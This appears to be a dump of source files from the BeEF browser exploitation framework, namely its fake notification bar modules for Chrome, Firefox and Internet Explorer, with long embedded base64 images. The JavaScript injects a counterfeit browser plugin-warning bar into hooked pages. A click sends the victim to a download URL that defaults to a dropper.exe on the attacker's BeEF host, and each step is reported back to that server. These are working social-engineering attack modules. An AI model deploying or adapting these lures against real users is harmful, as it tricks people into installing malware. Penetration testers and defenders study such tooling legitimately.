XbfHdfZT69dCTsute1DZWfmEk4bJzIEOp8BNoo4n6INKTW+UPUkU+91jZwjIkfmhMYP/bAS1wUlyxd3Ixu1ZU6ZlXZEliEeXsfh1a621L2KhpfKJgXI72c3P0k5sMBuZNa6mMsoY7rn7nVWLgB45T6SPgKyXv19lCT6q2t03iSZRIrGc6mC7XrjRS//6LipqhVVvLaiQykO0ghkSuLkzQKZf0dWrTLY4MAOH7fvMEKlKrEl8bit27bQTtUuuugL9mdnvcfWvbABORVYz4x+24QWR93alq2v2WuvbbFzL/ikdfD5YL6MYVWyiaplZbShwp0qMCGL4omywhxJqrw/AOiFIs4UT9n+By6zvv4eLzctX76P5UcHaUchkYgCywbco6nsGhq1lzZstr84+2y75NsX22OPriLEmj3zzFO2bOl+dvmll8DAHbZ7+6AnPkqOVA2IAQg/GsACxZV9IxN0pqeE5l+yzxILB1+3a6/5kT319FOE0tNs0b57tyqBzjRj+SHGRnSEcmsaJG3lR0e88qNokgW80qzqJ0/pbduWF233riF7YNVDdtFXLkEX95IzlOw97znevvDF/4gEWW2XXn4ZFYKHnNFDoiZVfWrDOA9sHaPiktQuYDnPmvAN613BQccAyHMvbbDjjl5h11z1T4CPJJJ7FUW2bd1qo6OjTmB6bN68mYqWpElog4ODngOVtCaqwqjy4SXQaMtcTF3DxjrCnCXqvL51vfV2BJQuBUIlcq5inKCqzXwtQeTWwaaX1+/0Eues3qwdsmyhHX7oYps7q9NJ7KUXduGY0aaGjlL4XpqKLS47muwtpnacYkAt9N7zY7ZlA1rLCoQxKhRo6ArGr2AIpDNaFvZhIVSP1HFUJWsxJEvIZ4qq8+bApDGYRFkw1YAkQIozmIcfutMW738QcmRfu+2etXbBJy60dBjYxz7yUbvuhlttxoJDYKMlduaHPmCHHnaInfDBD9nxp59pH//YebZjM5NM5Tj62mvFapKksY9tV3IA7brC8gp7VcBVZTApzqVU0HGxrln2gxuvs/vuvwUQwnjpEeub32MhzK+kfM78TpIzQE10OPyIkyzTv9guIJn731f9g3XF8/Yv3/8OwFlknQuW2tLDT7LjDj/eskStJGwPWcBPactwZECGTjj7wFpxjBzvtHnzFtoDd91gN19ziX3pa1+2i6+4zHblB5FbLHZAVAsK5C3yEZJuxpMivwjRm1mVYakXS+6pzhHHfqVGxpaQPJ50yAIixkz75je/aRd+5nyYFnZmDb/1Dxfb6WecaqeedhaElLMTjz+ZKMTacG9n30yLAfxOGCynMhzMqIqUV59a57AB/NlnnWW9/ftRKTnRvvpfv2gLZrGxxTVnf/RjtvqxJyFhHA6COeaYE2xgMO/7Fhs3bLWTT3o/BIZEokynHKxO6VX1ZEksAbrmwJbjh7Zp/RpbODuwLHiq4zSORE8Q2c5SuddLhtEu5RHL59lJx823Yw5fhB3GiHaDdjTvTzhmth1z9EIB0Df/vHyvdqZKETlY+ckT/UhYmV24UWrUG9/osa4576W0d7QlCBkVPDNGvVgqKeE7ciweLCvW0vsM+rhWL8CAWmE8CgZIV4cohaWQGABJddv6sHWkUza8u2q5zj7qpNJpeetRFYx2d4/EKNNlrAdAjQzvsjRVg1iql7Bco35L3KX9Rm3Yd6MSVELyYc5ryOx/kgwVvMwjeZRRmccDIIUvDJhACkizdmR6XA5VSYxU+45nZtvw4LD1MVydiBykpp6kzOU1ZfqIhwWv4w7nWYiOXrRx3gHc29lF2EWzNoajilWym0JDxTo4FywNOgyrZagMxcZ2Ub8mbwBo/+Oam+2qG++2e++93YLCTuvNAmYiTYNxJNL9XlmojQ3RGCIBkOvcj1KgLipAQzsHLAdrd1NpGhkhWnQigTh7E9a7rQpLpsMBJGOcJJl8YnDMjjriRLvh2usAxEF8nvWoUwJE2W7OxbN5U6U6kyPSxAPWrMhmEP1JJ48g2RLKkyi/ed0XDa3qQ57EW3lElTY6OjthZkmaqBavCk4xjwyiSKD9Bh1wanIvZqQqprIs54i2vYKU2HKvHb4E5h59jnGJXiNyFZ/6fomoWxta+kQJA2VI7YtIvkpmKDrK0SRVVH5W/xFde0uRrmt7xMpPvDsCNasUAqTh8hz7zfNZO/y4v8CD9+LzJBkpmhBxGNby/uuXmM5RY0hVZeIkUHVoUztlSjQFnizsoGK6ap41FjukeiDNlVVdk6GralFFrqQSaCvfeeuNiuZcF/eFTaEJqVCTuNRJfGIN+pWUYYELJBZ1GFkJar064lNJJdGNgKuHhZD2c+MqiUS7ZGgjZKuuod1QJXweZZASLEKddrWLRfrn85GU0g5rCvlXkT6F9eMkOZAVC0r7OfXDQrOgKi0lNQblUjC4iv811Ku09nuPPsq27Rg2WiDB7LR7KBXuv2wpUQBZUMLhedXOYTHs8IFmmXdKu2c4FFbD6SiXQiaM3qVXioxfO2kFVRR0ZAEGl0x57L5b7aPnXGhzFs2wbduHyCHOt+9fsZKTm0QEZaZKyhDCebE0Y8bqSBPlP2kHSpFauur8AY6izSOfh0hMkk5RhO+KzDfL+pdhdUmiBGugfEqyVBto0rACtbbK5QCSohpiivt3vP6aPbHqejv1WIY8ts56yJ0aSjJECHKOCN9eTFDJMOn44MH92nDSbrF+QSMsqcaukm6KNYx2+QXq5vNNoF5zgrYM/RcJWs1KDD1bXmxr15Vt6YEn2977HYVRVOrTT3OUIEroayF1rkDbtrAdCYu2St07NViFOB6B2pMGVubMd2klBIBD50yyHTnKgoMAF/YhhMmYfnqMf2pFiyHvVDKSSTM+wFcsAnR20/RzoQoZfjYtZqVMVgF8jE+bDzVCeRrNqFBW0cYC48rAipIOJfoQM7gjKlBS4lP0It1qalh9pq19JUCqYyvlqANOxgYIY2yceH7OTWI56WnfcfVIpo0cathaXOr8o2MFG0SrLNx3CcRAG5TXUvSVTrKcRIKaNCgkol2ylHYGBQYlIJJ8qu5ogYOch2mKmCrE8jn9UqNX3b9GhOpKyyZ5dke5ho2pvpnzWXgArOqDar/sK5QAMV+6c2QlvyCTMnZQBUMOXIB9A+SKNLFOn4h8WmdHxNCafwabC9RpklYBWLYV6DUnz6toI6qWKN9ifiSGWzc9ay8+/4gdc1iXdcSesnR9yALlSL5pGP0QQDmmE1C0A+5lPo1JBKGo5Tv9Ih9V1ngVMSmJ9fKdHn5uJML2pNfC48c34jpEQoO6tkJGHnbMYtNjnq19Ng9r7m17LT6WY6fzra+vz8GVJlTJWMryY9oo0K4aIZKdFu8rCROJyaS/vHivBVRJjvCco0Ih4BcBt35VU2KjIEUGL9DDAT5wT0Qd3PopWXRGRH6SySJdlNXjXAk0qQrtvlUQJyLovEeznJRSnRdDJJEAKqCUqRiI2Ruqx7PAFai3pvJeggVXrlzLeBgtVQYYt6REElADfCUx0miwnOTJyCiLyPhp0ct1Ocpf2nqPwXpil5DSk1gkxXiUGWqBVddOkLyKdaLECGfEYStEppKXxbAH52m0qmGdRA49pFJpDJ0aVlX+UtKtkiV2QHgLXJJCceSfztWIHZOsWRGt0dHdTfkOOab1pu8Cu7/pLLJKqFEukOecCe0HCPc8SWEMSagd4ArzzCAX66yFSwtRCeMTQ4sUFAXVjkdn/lafWt8ERKEjqGnaVLlNcmTna68gN9Yh4TajgXtxvpeo6+9kRxln01zQ/HVIykmvVVtWjiTl0dQkfh5JBS7ypLjXsfXUpFTj1m5zdH/7z82i07yRJImNPXYcUIy8TKjWln1ZB11y/ZbNLbM3BjO25fU6Rki4JKhp40AnqjyDBjgskCoPYi/pQ01aB3g0cf2+sbuzmwSIxEE7SXh12ff8VaKjdqmtdIwnHVpAV6YBXIrwptKZgm9M3qliutchiQrIEhlbh8xTsL/q6AqFFZgx4L4i14r5FZo1J99QoqqQ64CpfHdMLKBaMdHBDxqVPMSWiywi4+vuIVRTC9duGPuY3raCNrP2LfnAD1EBKuRCN7/fLLFfrYUvwrJyQmXwOkOhH5xKKjU4SCRmzGAjyRc5SgK7KTFUCVRb+Uq441wv4INuZz/9vq8Cq6WRWWJQ3/ygh4oSSWwt6aBcR8d4dF9M+lNVB6/dq4zIuhA9q0rYAEilUKM81klyqe1sEQ7HANh+lzxSsp/WWuiIgg5yCQSSYqxRdFYH5+R7PVTtkH1FVNEPBFQp0SGp6D45/MzulM3tqFLeDW34jSchuDF3ShEZVOEiWkUHyWIVEcarF8KtSFhzUOFCGPY1jo5E+ym+aEOzeVNExOMU3WRugTs2uvo4mNpTJPdmtapGFB5DDKawlp1B1hlT4gEAYQMX09p0UfGUSTfw0pg2C5i0JIe7C4DVLlF0mirysjpMJgeIweoNGE4HcLRFLEMHXsjXJFSC0sjQbXh1MovcgCl89lpA91IxMYYkXIeqp6Kl/cgiu5wxtlRD2FE16waLGSNZhCpoV+USZeo6pM57J06xLJtIOuGjaj8glyNFNMArbOlHBKLznL4SXooiUqgWL8gTl6L5yoJ6q3qpyp8KmUQiXwTZQZUAFea1MoAN/+QaXn3+whEsCJCcqWUDr3VHGzXKZ1SG085pA4eoI1/izFPhoY6zuM09LEsaAjhAL/v4gip5TjEOneNQcsAaoJF8h1j14kQnRxBcFkR9RUf9AJD0subIuFQLlhSM04+IRGALtRehMbm5ontqJJYheU5QGyI67tbhG5wA0hFxsb6VfCQjQgGOR0rjET6a52yVMIq8E4rsqt82t94dDhIC0rrqzzHVxuCOr1Y7jD2/+nhcJ9I3zuBqQeCG9pV5uml0Sk/hVCFczKmjgbBwioM+ylJlcNVYxCIS9Z4MegIobSs97K7G9xEj+kaJwiZA0v0xZRZyIu3rN4uPYlnVyqs4UrpZgqo5sLROURVG+FabVUCgklAapOioZYIwXaRmndH4aE88KkfJ4hR1Io0fU5RxGF9NCSlIFcPG0eiKBHponvID/YpehOCn0fTLDS2oVL/mTFtJHdLScDR+cadMIYmGZh1hDMoNBLAEc6HKHZ19oESqNlRBkL4Vw7tNsG/E9ErW/H9O4ZUQ1b28FlyKbFxXPU/yjP5TEIS0tj4RoLM4serUrsVVv9dRUMjDiULnToQLaW61D9B0fiaJDKlpF8kTQSKwchlP3qSRlVdEIIxkhyoQMH8H1ZGCqiORFND9HcxZGygxztSo5pzS7ifY0pqoHcejns1fQSRaoBZhOUtHbXmJWVGPs/zKMzy3cuqOxjHxY7ho+839Src2b4+VHgbU+iPC3eRH86LWj1KbjhM13NI5rTua1/qfU9uZ7prWZ23XRu2339z6dXd0sZ+6ZWITh/RbE2lOtjnA8XE2m4p+ndwcc/OW9msmDX0P83AztX3fPo7xUcvvmiQzMRONObK639O8sb2t9pm3uvB22vps/SLmzfc1matp06iPtqVsH5x/1T6yKWvevlZvtY57WM+o7Tf9TGT6Tt4Cbz52BZkmGWtDR87jU1J5W5FNbO6BbwK4rfWIDa16n/+fDcaB3QL4H14jRP3BDv+udnA294jIO9hap0WFYkUd/42GqlVE3IhT/ScNXu7UMvkJQ6mQmy49Vi9NhvzD67/rCv7B7m/CnZheBYc8P/6oK2FH6uu4hcSdSyZJUv/lQyssRaztx2KVy/D8vxM65w4SLPEoAAAAAElFTkSuQmCC);'}); var elp = beef.dom.createElement('div',{'id':pid,'style':'margin: 0 50px 0 15px; height: 27px; line-height: 27px; font-weight: bold; font-family: sans-serif; font-size: 12px; padding: 0'}); $j('body').append(el); var hid = '#'+id; var hpid = '#'+pid; $j(hid).append(elp); $j(hpid).html(decodeURIComponent(beef.encode.base64.decode('<%= Base64.strict_encode64(@notification_text) %>'))); $j(hid).append(ell); $j(hid).append(elr); $j(hid).click(function() { $j(this).slideUp(300,function() { $j(this).remove(); }); window.location = '<%= @url %>'; beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=User has clicked the notification'); }); $j(hid).css('cursor','pointer'); $j(hid).slideDown(300,function() { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Notification has been displayed', beef.are.status_success()); }); return [beef.are.status_success(), 'Notification has been displayed']; }); ================================================ FILE: modules/social_engineering/fake_notification_c/config.yaml ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: fake_notification_c: enable: true category: "Social Engineering" name: "Fake Notification Bar (Chrome)" description: "Displays a fake notification bar at the top of the screen, similar to those presented in Chrome. If the user clicks the notification they will be prompted to download the file specified below.

    You can mount an exe in BeEF as per extensions/social_engineering/droppers/readme.txt." authors: ["xntrik", "bcoles"] target: user_notify: ['ALL'] ================================================ FILE: modules/social_engineering/fake_notification_c/module.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # class Fake_notification_c < BeEF::Core::Command def self.options @configuration = BeEF::Core::Configuration.instance proto = @configuration.beef_proto beef_host = @configuration.beef_host beef_port = @configuration.beef_port base_host = "#{proto}://#{beef_host}:#{beef_port}" [ { 'name' => 'url', 'ui_label' => 'URL', 'value' => "#{base_host}/dropper.exe", 'width' => '150px' }, { 'name' => 'notification_text', 'description' => 'Text displayed in the notification bar', 'ui_label' => 'Notification text', 'value' => 'Additional plugins are required to display all the media on this page.' } ] end # # This method is being called when a zombie sends some # data back to the framework. # def post_execute content = {} content['result'] = @datastore['result'] save content end end ================================================ FILE: modules/social_engineering/fake_notification_ff/command.js ================================================ // // Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var id = beef.dom.generateID(); var pid = beef.dom.generateID(); var zztop = beef.dom.getHighestZindex()+1; var el = beef.dom.createElement('div',{'id':id,'style':'width:100%; position:fixed; top:0px; left:0px; margin:0; padding:0px 20px 0px 20px; z-index:'+zztop+'; border-bottom:1px solid black; background:#fbe99a; display:none;'}); var ell = beef.dom.createElement('div',{'style':'width: 16px; height: 18px; padding: 0; margin: 3px 0px 5px 5px; position: absolute; left: 0px; top: 0px; background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAASCAMAAABl5a5YAAAABGdBTUEAALGPC/xhBQAAACBjSFJNAAB6JQAAgIMAAPn/AACA6QAAdTAAAOpgAAA6mAAAF2+SX8VGAAACxFBMVEUAAABLfxp6o1aQtHCUtnSEq19klDoHSgB1ok2bwHm00pi51Z6nyYaCr1dViiJ/qleVwW2Bs1Nfky8PVAAkYgBklDaHtlp+t0p0pkRCeAw2cAApZAAAJABUhyiFrW6Qt3uJtGuGt1l7tkR7rk54q054q1JypUxdki9ol0CMuG9tqzxjmjRulUl5olR2n09fkjJ4sUZapBZamCJtnkCUvG+YwHNsojlurTNYqAxaphRaoxdVlBhdmCV7tEZ9uUZqripnryNephpZlx9TkRhLhxFTlBRbpBZeoxxUhScAFQA4bQZMkQtVog1dpBtUhyQ8cgo8dgdIiwdaohdnrSVZpBJXqApgtBBitBRftA5eqxVZnBhTlxJKig5BgAVOkg9WmRZPjxJWow1hrxdkpiZmpStlqiRfsRFarA1Ypg5QlQ8qYAAKNQBJiA9Vogxcoho1WRQAAABPhRtfrBddqhRQkw8AAAAAAAAAAAAzYQlQmAtXmxYfNggAAAA+bRJfqhhgqB1JiA4AAAAAAAAAAAARIQI5bAlIiAxLixBGfRIbMQUAAAAxWA1NhxVNihRNiRRFfw8vWgcAAAAAAAAAAAAAAAAHDwAVJwQVJwQTJAIIEQAAAAAOHAETJAMTJAISJAENGgAAAQCax2+XxWyRwmSEu1B9uEd9uUV3tjyMv2eEu1V7uUNytTNrsilpsCZqrytprS1prC54tztytjJosSNcqxFXqQpWqAhUpwdUpQZTpAZvtC1ksBxYqwtVqgVWqgZVqQZVqQZfrhVXqwhXrAZXrAZXrQZXrAZYrAlVpQpVpwlXqQlWqwZXrAZYrgZYrwZYsAZYrwVbrgxWpgtVpwhVqQZXrAZYrgZYsAZasgZaswZZsQVbsAtXrQZYrwZcsglbsQhXrQdasAhZrwhXrQZbsAtbsQtesBFXqglarQxhsBZnsiEAAAAxUQbgAAAAoXRSTlMABjZte2AiATrE9fnwnBde8csoBAo5zv2aGgwIAQxjn6Xe+8afoYouJsf1dAMYGi7O+oExp7mR3/719IKA+P/5/Nhjak6k/6INAQOf/qoSCA1r7/3u+Pz4/ueRmWUbd4tu1+WPdrD5/vmCBQUszq8ZB0bo+oIAAgUyzc09IW/19nkAAwskf7Gzpk8rcrO0tZ0/AAIHDRciJSUaFB4nKCgfDBG2k6cAAAABYktHRACIBR1IAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH4gkOBx83Cj+4fwAAARZJREFUGNNjYMAOGJmYWVjZ2BECHJxc3Dy8fAgBfoGFixYLCsG4wiKiYkuWiktISknLgPiycvIKisuWKymrqKqpgwQ0NFesXLV6zdp16zdoaTPo6OrpG2zctHnL1m3bd+w0NGIwNjE1M9+1e8/effsPWFhaWTPY2NrZOxw8dPjI0WPHHZ2cXRhc3U6cPHX6zNlz5y9cdPfw9GLw9rl0+crVa9dv3Lx129fPP4AhMCg4JPTO3Xth4RH3I6OiYxhi4+ITEh88TEpOSU17lJ6RycCQlZ2T+/hJXn5BYdHTZ8UlDKVl5RWVz19UVdfU1r18Vd/A0NjU3NLa1t7R2dXd09vXP4Fh4qTJU6ZOmz5j5qzZc+bOm78AAMOqa2g/ZGvyAAAAJXRFWHRkYXRlOmNyZWF0ZQAyMDE4LTA5LTE0VDA3OjMxOjU1LTA0OjAwBl49OAAAACV0RVh0ZGF0ZTptb2RpZnkAMjAxOC0wOS0xNFQwNzozMTo1NS0wNDowMHcDhYQAAAAASUVORK5CYII=);'}); var elr = beef.dom.createElement('div',{'style':'width: 8px; height: 8px; padding: 0; margin: 8px 50px 5px 0px; position: absolute; right: 0px; top: 0px; background-image: url(data:image/png;base64,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);'}) var elp = beef.dom.createElement('div',{'id':pid,'style':'margin: 2px 50px 0 4px; height: 25px; line-height: 25px; font-family: sans-serif; font-size: 12px; padding-bottom: 5px'}); $j('body').append(el); var hid = '#'+id; var hpid = '#'+pid; $j(hid).append(elp); $j(hpid).html(decodeURIComponent(beef.encode.base64.decode('<%= Base64.strict_encode64(@notification_text) %>'))+" "); $j(hid).append(ell); //$j(hid).append("Problems installing? "); $j(hid).append(elr); $j(hid).click(function() { $j(this).slideUp(300,function() { $j(this).remove(); }); window.location = '<%= @url %>'; beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=User has clicked the notification'); }); $j(hid).css('cursor','pointer'); $j(hid).slideDown(300,function() { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Notification has been displayed'); }); }); ================================================ FILE: modules/social_engineering/fake_notification_ff/config.yaml ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: fake_notification_ff: enable: true category: "Social Engineering" name: "Fake Notification Bar (Firefox)" description: "Displays a fake notification bar at the top of the screen, similar to those presented in Firefox. If the user clicks the notification they will be prompted to download a file from the the specified URL." authors: ["xntrik", "bcoles"] target: user_notify: ['ALL'] ================================================ FILE: modules/social_engineering/fake_notification_ff/module.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # class Fake_notification_ff < BeEF::Core::Command def self.options [ { 'name' => 'url', 'ui_label' => 'Plugin URL', 'value' => '', 'width' => '150px' }, { 'name' => 'notification_text', 'description' => 'Text displayed in the notification bar', 'ui_label' => 'Notification text', 'value' => 'An additional plug-in is required to display some elements on this page.' } ] end def post_execute content = {} content['result'] = @datastore['result'] save content end end ================================================ FILE: modules/social_engineering/fake_notification_ie/command.js ================================================ // // Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var id = beef.dom.generateID(); var pid = beef.dom.generateID(); var zztop = beef.dom.getHighestZindex()+1; var el = beef.dom.createElement('div',{'id':id,'style':'width:100%; position:fixed; top:0px; left:0px; margin:0; padding:2px 20px 5px 24px; z-index:'+zztop+'; border-bottom:1px solid black; background:#ffffda; display:none; font-family: \'Tahoma\',sans-serif; font-size: 12px; '}); var ell = beef.dom.createElement('div',{'style':'width: 16px; height: 18px; padding: 0; margin: 3px 0px 5px 5px; position: absolute; left: 0px; top: 0px; background-image: url(data:image/png;base64,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